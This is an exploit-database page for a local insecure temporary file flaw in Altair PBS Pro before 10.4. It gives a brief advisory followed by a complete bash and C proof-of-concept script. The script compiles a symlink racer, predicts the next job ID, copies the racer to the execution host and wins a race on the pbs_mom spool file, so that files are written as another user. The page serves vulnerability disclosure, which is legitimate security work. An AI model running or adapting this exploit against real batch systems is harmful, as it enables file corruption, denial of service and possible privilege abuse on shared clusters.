Altair Engineering PBS Pro 10.x – ‘pbs_mom’ Insecure Temporary File Creation

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• 作者： Bartlomiej Balcerek
  日期： 2010-07-07
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/34267/

• source: https://www.securityfocus.com/bid/41449/info
  
  Altair Engineering PBS Pro creates temporary files in an insecure manner.
  
  An attacker with local access could potentially exploit this issue to perform symbolic-link attacks, overwriting arbitrary files in the context of the affected application.
  
  Successfully mounting a symlink attack may allow the attacker to delete or corrupt sensitive files, which may result in a denial of service. Other attacks may also be possible.
  
  Versions prior to PBS Pro 10.4 are vulnerable. 
  
  #!/bin/bash
  #set -x
  # PBS Pro < 10.4 o+w race condition vulnerability Proof Of Concept by Bartlomiej Balcerek - bartol@pwr.wroc.pl 
  # Must be run on submitting host and will create /tmp/pbs_test_by_bartol file on exec host as a next job owner UID
  echo Compiling racer...
  cat << EOF| gcc -x c -o racer.x -
  //repeatedly tries to create arbitrary choosen link
  #include <unistd.h>
  
  int main(int argc, char* argv[])
  {
   if (argc < 3){printf("%s","Need 2 arguments!");exit(1);}
   while (1) symlink(argv[1],argv[2]); 
  }; 
  EOF
  if [ ! -x racer.x ]; then echo "Cannot compile C code, do you have gcc installed ?" ;exit 1; fi 
  echo Submitting job...
  jobname=`echo hostname | qsub -j oe -o out.txt` 
  sleep 2
  host=`cat out.txt`
  if [ -z $host ]; then echo "Cannot determine next execution host, is quere working ?"; exit 1;fi
  rm out.txt
  echo Next job will be run on $host
  echo Copying racer to $host...
  scp ./racer.x $host:/tmp
  echo Calculating job id...
  jobid=`echo $jobname | cut -d . -f 1`
  jobid=$(($jobid+1))
  if [ ! $jobid -ge 0 ]; then echo "Cannot determine next job ID!";exit 1;fi
  echo Next job ID will be $jobid
  hostname=`echo $jobname | cut -d . -f 2`
  echo Running racer...submit job as different user, than push Ctrl+C after while.
  ssh $host -- \(/tmp/racer.x /tmp/pbs_test_by_bartol /var/spool/pbs/spool/${jobid}.${hostname}.OU \)
  ssh $host -- killall racer.x
  echo /var/spool/pbs/spool on $host content:
  ssh $host -- ls -latr /var/spool/pbs/spool
  echo Cleaning up...
  ssh $host -- unlink /var/spool/pbs/spool/${jobid}.${hostname}.OU
  ssh $host -- ls -latr /var/spool/pbs/spool
  ssh $host --rm -v /tmp/racer.x
  rm -v racer.x
  

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